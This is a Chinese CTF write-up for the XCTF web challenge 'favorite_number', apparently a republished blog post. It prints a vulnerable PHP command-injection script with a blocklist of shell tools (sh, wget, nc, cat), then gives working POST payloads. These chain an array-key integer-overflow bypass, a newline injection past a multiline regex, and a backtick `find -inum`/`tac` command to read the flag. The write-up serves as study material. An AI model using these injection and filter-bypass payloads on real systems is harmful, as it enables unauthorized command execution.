码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 攻防世界WEB练习-favorite_number


    前言

    作者简介:不知名白帽,网络安全学习者。

    博客主页:https://blog.csdn.net/m0_63127854?type=blog

    攻防世界专栏:https://blog.csdn.net/m0_63127854/category_11983747.html

    网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan

    目录

    题目场景

    代码审计及绕过

    通过php5.5版本的数组key溢出漏洞进行数组绕过

    换行符绕过正则跨行匹配

    黑名单绕过


    题目场景

    1. //php5.5.9
    2. $stuff = $_POST["stuff"];
    3. $array = ['admin', 'user'];
    4. if($stuff === $array && $stuff[0] != 'admin') {
    5.     $num= $_POST["num"];
    6.     if (preg_match("/^\d+$/im",$num)){
    7.         if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
    8.             echo "my favorite num is:";
    9.             system("echo ".$num);
    10.         }else{
    11.             echo 'Bonjour!';
    12.         }
    13.     }
    14. } else {
    15.     highlight_file(__FILE__);
    16. }

    代码审计及绕过

    通过php5.5版本的数组key溢出漏洞进行数组绕过

    php的版本是5.5.9

    通过post方式传递两个参数:stuff(数组)和num(其中的内容经过过滤之后会被system函数执行)

    既要数组强等于,又要首元素元素不等于。即要$stuff === ['admin', 'user'] 又要 $stuff[0]!='admin' 。根据上面的提示,只能是php5.5.9的版本漏洞了

    根据php5.5.9的版本漏洞:

    PHP :: Bug #69892 :: Different arrays compare indentical due to integer key truncation

    我们可以利用PHP的数组下标的一个BUG,可以利用整型溢出:

    https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/

    构造payload

    $stuff[0]!='admin',我们通过0x100000000(0x100000000转换成十进制4294967296)来进行溢出;进行POST传参

    stuff[4294967296]=admin&stuff[]=user&num=123

    换行符绕过正则跨行匹配

    正则"/^\d+$/im",要求整个字符串都是数字,大小写不敏感,跨行检测

    ^和$ 匹配字符串开头和结尾

    /d 匹配数字

    /i 表示匹配的时候不区分大小写

    /m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号

    stuff%5B4294967296%5D=admin&stuff%5B%5D=user&num=123%0als

    黑名单绕过

    /sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i

    黑名单,把常用的可以执行的代码命令都排除了

    查看根目录下的文件ls /

    因为cat被禁用了,所以用inode索引节点,ls -i /

    使用`绕过单双引号过滤,读取flag

    %0atac `find / -inum 18497049`

  • 相关阅读:
    数学建模部分常用模型总结
    八股系列——Java基础
    STM32通用定时器输入捕获
    Bootstrap Modal
    文心一言vsGPT-4全面对比
    趣链BaaS服务平台调研
    Gmail 将停止支持基本 HTML 视图
    VSCode使用教程
    大模型系统和应用——高效训练&模型压缩
    PostgreSQL-基本结构
  • 原文地址:https://blog.csdn.net/m0_63127854/article/details/126772590
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号